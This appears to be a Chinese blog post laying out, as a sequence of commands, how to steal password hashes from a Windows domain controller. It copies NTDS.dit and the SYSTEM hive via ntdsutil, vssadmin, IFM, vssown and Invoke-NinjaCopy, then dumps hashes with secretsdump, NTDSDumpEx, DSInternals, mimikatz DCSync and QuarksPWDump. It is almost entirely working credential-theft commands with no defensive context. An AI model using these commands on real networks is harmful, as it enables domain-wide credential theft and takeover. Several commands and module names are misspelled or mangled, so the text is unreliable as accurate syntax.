域控密码抓取

域控密码抓取

NTDS.DIT是DC的数据库,内容有域用户、域组、用户Hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码hash值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

位置:C:\Windows\NTDS

image-20250410084324289

使用卷影拷贝提取域控NTDS

从Windows XP SP2和Windows Server 2003 开始,微软就向Windows操作系统中引入了一项名叫卷影拷贝的服务(Volume Shadow Copy Service-VSS)。这种服务允许Windows系统以手动或者自动的方式对文件或磁盘卷宗的当前状态进行备份(快照)。要注意的是,在这个过程中,即使文件处于打开状态下,该服务仍然可以直接进行文件备份。

NTDS.dit文件是默认杯Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务,得到NTDS.dit文件的副本。

使用ntdsutil工具

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作。

image-20250410085114633

第一步:创建一个NTDS快照

ntdsutil.exe snapshot "activate instance ntds" create q q

可以看到快照的uid

image-20250410092614240

第二步:加载快照到磁盘中

ntdsutil.exe snapshot "mount {uid}"q q

image-20250410092730554

第三步:复制快照中的ntds.dit文件

copy 快照地址\Windows\NTDS\ntds.dit 目标地址

第四步:删除快照

ntdsutil.exe snapshot "umount {uid}" "delete {uid}" q q

通过vssadmin工具

vssadmin是Windows Server 2008以及Windows 7系统以上提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本信息,他需要两步就可以提取NTDS文件

1.第一步:创建一个C盘快照

vssadmin create shadow /for=c:

第二步:将快照中的NTDS文件复制出来

copy 卷影副本卷名\windows\NTDS\ntds.dit 地址

最后在进行删除

vssadmin delete shadows /for=c: /quiet

IFM方式进行拷贝

在使用ntdsutil创建媒体安装集(IFM)时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时,ntds.dit将被保存在C:\test\ActiveDirectory下,SYSTEN和SECURITY;两个文件将被保存在C:\test\registry文件夹下

第二步就是复制文件

copy "c:\teet\Active Directory\ntds.dit" C:\Users\Administrator\Desktop\ntds.dit

vssown提取ntds.dit

vssown是一个vbs脚本,可以创建和删除卷影副本

1.启动卷影复制服务

cscript vssown.vbs /start

2.创建一个C盘的卷影副本

cscript vssown.vbs \create c

3.列出当前卷影副本

cscript vssown.vbs /list

4、复制文件到指定目录

copy 卷影副本卷名\windows\NTDS\ntds.dit 地址

最后删除副本

cscript vssown.vbs /delete {uid}

Copy-VSS.ps1

可以使用PS脚本直接导出

Import-Module .\Copy-VSS.ps1
Copy-VSS

Invoke-NinjaCopy

Invoke-NinjaCopy也是PS脚本,可以直接导出NTDS和system文件

Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"(目标地址)
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"(目标地址)

离线读取NTDS文件中的hash

离线读取主要就是两步,第一步就是将域控的ntds.dit下载到本地

第二步就是在本地进行利用

注意:因为system.hive 李存放着ntds.dit的密钥,所以需要转储system.hive,不然没发查看ntds.dit里的内容

命令如下

reg save hklm\system c:\windows\temp\system.hive

接下来介绍几种读取里面内容的方式,大家选一个顺手的就行

1.secretsdump.exe 工具读取

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

2.NTDSDump.exe工具读取

NTDSDumpEx -d ntds.dit -s system -o 1.txt

3.DS Internals工具读取

此工具是PS脚本,使用命令如下

1、安装DS Internals
Install-Moudle DS Internals -Force 安装方式
Import-Module .\DS Internals 导入方式
2.导出hash并保存在txt文件
$key = Get-Boot key -Boot key 'system路径'
Get-ADD Account -All -DB Path 'ntds路径' -Boot key $key|Out-file output_hash.txt

在线读取NTDS文件中的hash

1.使用mimikatz

lsadump::dcsync /domain:abc.com /all /csv   (读取所有)
lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)

2.使用QuarksPWDump工具

前提:ntds这个文件必须先导出来

Quarks PW Dump.exe --dump-hash-domain  --ntds-file ntds.dit

3.使用secretsdump工具

retsdump.exe 域名/administrator:密码@IP -outputfile 1.txt

4.使用Invoke-DC Sync工具

Import-Module .\Invoke-DCSync.ps1
Invole-DCSync
posted @ 2025-04-10 20:44  根本睡不醒#  阅读(59)  评论(0)    收藏  举报